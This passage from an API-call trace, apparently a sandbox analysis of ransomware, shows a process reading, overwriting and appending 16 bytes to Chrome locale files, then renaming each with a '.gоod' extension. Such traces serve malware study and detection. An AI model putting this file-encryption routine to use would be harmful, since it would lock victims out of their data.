(x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es-419.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es-419.pak", lpFilePart=0x0) returned 0x50 [0104.595] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es-419.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es-419.pak.gоod", lpFilePart=0x0) returned 0x55 [0104.595] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0104.595] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es-419.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\es-419.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe456223f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe456223f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3a8f0da7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x46341)) returned 1 [0104.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0104.596] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es-419.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\es-419.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es-419.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\es-419.pak.gоod")) returned 1 [0104.596] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es.pak", lpFilePart=0x0) returned 0x4c [0104.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0104.597] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\es.pak"), fInfoLevelId=0x0, lpFileInformation=0x353ef60 | out: lpFileInformation=0x353ef60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe456223f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe456223f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5190bc94, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x476bb)) returned 1 [0104.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0104.597] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es.pak", lpFilePart=0x0) returned 0x4c [0104.597] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0104.597] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\es.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0104.597] GetFileType (hFile=0x7dc) returned 0x1 [0104.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0104.597] GetFileType (hFile=0x7dc) returned 0x1 [0104.597] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0104.597] ReadFile (in: hFile=0x7dc, lpBuffer=0x353f378, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x353f378*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0104.647] CloseHandle (hObject=0x7dc) returned 1 [0104.647] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es.pak", lpFilePart=0x0) returned 0x4c [0104.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0104.647] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\es.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0104.648] GetFileType (hFile=0x7dc) returned 0x1 [0104.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0104.648] GetFileType (hFile=0x7dc) returned 0x1 [0104.648] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x476bb [0104.648] WriteFile (in: hFile=0x7dc, lpBuffer=0x35e03f0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x35e03f0*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0104.649] CloseHandle (hObject=0x7dc) returned 1 [0104.650] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es.pak", lpFilePart=0x0) returned 0x4c [0104.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0104.650] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\es.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0104.650] GetFileType (hFile=0x7dc) returned 0x1 [0104.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0104.650] GetFileType (hFile=0x7dc) returned 0x1 [0104.650] ReadFile (in: hFile=0x7dc, lpBuffer=0x35e26b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x35e26b0*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0104.679] CloseHandle (hObject=0x7dc) returned 1 [0104.679] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es.pak", lpFilePart=0x0) returned 0x4c [0104.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0104.680] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\es.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0104.680] GetFileType (hFile=0x7dc) returned 0x1 [0104.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0104.680] GetFileType (hFile=0x7dc) returned 0x1 [0104.680] WriteFile (in: hFile=0x7dc, lpBuffer=0x35e1408*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x35e1408*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0104.680] CloseHandle (hObject=0x7dc) returned 1 [0104.680] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es.pak", lpFilePart=0x0) returned 0x4c [0104.680] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es.pak.gоod", lpFilePart=0x0) returned 0x51 [0104.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0104.680] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\es.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe456223f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe456223f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3a9af7cf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x476cb)) returned 1 [0104.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0104.680] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\es.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\es.pak.gоod")) returned 1 [0104.681] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\et.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\et.pak", lpFilePart=0x0) returned 0x4c [0104.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0104.681] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\et.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\et.pak"), fInfoLevelId=0x0, lpFileInformation=0x365f050 | out: lpFileInformation=0x365f050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45884fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45884fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51929154, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3ebe7)) returned 1 [0104.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0104.758] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\et.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\et.pak", lpFilePart=0x0) returned 0x4c [0104.758] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0104.758] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\et.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\et.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0104.758] GetFileType (hFile=0x768) returned 0x1 [0104.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0104.758] GetFileType (hFile=0x768) returned 0x1 [0104.759] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0104.759] ReadFile (in: hFile=0x768, lpBuffer=0x330c048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x330c048*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0104.771] CloseHandle (hObject=0x768) returned 1 [0104.771] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\et.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\et.pak", lpFilePart=0x0) returned 0x4c [0104.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0104.771] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\et.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\et.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0104.771] GetFileType (hFile=0x768) returned 0x1 [0104.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0104.771] GetFileType (hFile=0x768) returned 0x1 [0104.771] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x3ebe7 [0104.771] WriteFile (in: hFile=0x768, lpBuffer=0x330fe20*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x330fe20*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0104.810] CloseHandle (hObject=0x768) returned 1 [0104.811] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\et.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\et.pak", lpFilePart=0x0) returned 0x4c [0104.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0104.811] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\et.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\et.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0104.811] GetFileType (hFile=0x768) returned 0x1 [0104.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0104.811] GetFileType (hFile=0x768) returned 0x1 [0104.811] ReadFile (in: hFile=0x768, lpBuffer=0x333b7e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x333b7e0*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0104.918] CloseHandle (hObject=0x768) returned 1 [0104.918] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\et.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\et.pak", lpFilePart=0x0) returned 0x4c [0104.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0104.918] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\et.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\et.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0104.918] GetFileType (hFile=0x768) returned 0x1 [0104.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0104.918] GetFileType (hFile=0x768) returned 0x1 [0104.919] WriteFile (in: hFile=0x768, lpBuffer=0x333a538*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x333a538*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0104.919] CloseHandle (hObject=0x768) returned 1 [0105.013] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\et.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\et.pak", lpFilePart=0x0) returned 0x4c [0105.013] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\et.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\et.pak.gоod", lpFilePart=0x0) returned 0x51 [0105.013] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0105.013] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\et.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\et.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45884fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45884fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3ac842a4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3ebf7)) returned 1 [0105.013] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0105.013] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\et.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\et.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\et.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\et.pak.gоod")) returned 1 [0105.014] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fa.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fa.pak", lpFilePart=0x0) returned 0x4c [0105.014] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0105.014] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fa.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\fa.pak"), fInfoLevelId=0x0, lpFileInformation=0x33960e8 | out: lpFileInformation=0x33960e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45884fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45884fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51948d24, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x651ac)) returned 1 [0105.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0105.625] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fa.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fa.pak", lpFilePart=0x0) returned 0x4c [0105.625] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0105.625] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fa.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\fa.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0105.626] GetFileType (hFile=0x6e4) returned 0x1 [0105.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0105.626] GetFileType (hFile=0x6e4) returned 0x1 [0105.626] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0105.626] ReadFile (in: hFile=0x6e4, lpBuffer=0x371b300, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x371b300*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0105.645] CloseHandle (hObject=0x6e4) returned 1 [0105.645] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fa.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fa.pak", lpFilePart=0x0) returned 0x4c [0105.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0105.645] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fa.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\fa.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0105.645] GetFileType (hFile=0x6e4) returned 0x1 [0105.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0105.645] GetFileType (hFile=0x6e4) returned 0x1 [0105.645] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x651ac [0105.645] WriteFile (in: hFile=0x6e4, lpBuffer=0x372b398*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x372b398*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0105.647] CloseHandle (hObject=0x6e4) returned 1 [0105.647] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fa.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fa.pak", lpFilePart=0x0) returned 0x4c [0105.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0105.647] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fa.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\fa.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0105.647] GetFileType (hFile=0x6e4) returned 0x1 [0105.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0105.647] GetFileType (hFile=0x6e4) returned 0x1 [0105.647] ReadFile (in: hFile=0x6e4, lpBuffer=0x3730cb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3730cb8*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0105.712] CloseHandle (hObject=0x6e4) returned 1 [0105.712] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fa.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fa.pak", lpFilePart=0x0) returned 0x4c [0105.712] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0105.712] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fa.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\fa.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0105.712] GetFileType (hFile=0x6e4) returned 0x1 [0105.712] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0105.712] GetFileType (hFile=0x6e4) returned 0x1 [0105.713] WriteFile (in: hFile=0x6e4, lpBuffer=0x372fa10*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x372fa10*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0105.713] CloseHandle (hObject=0x6e4) returned 1 [0105.713] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fa.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fa.pak", lpFilePart=0x0) returned 0x4c [0105.713] 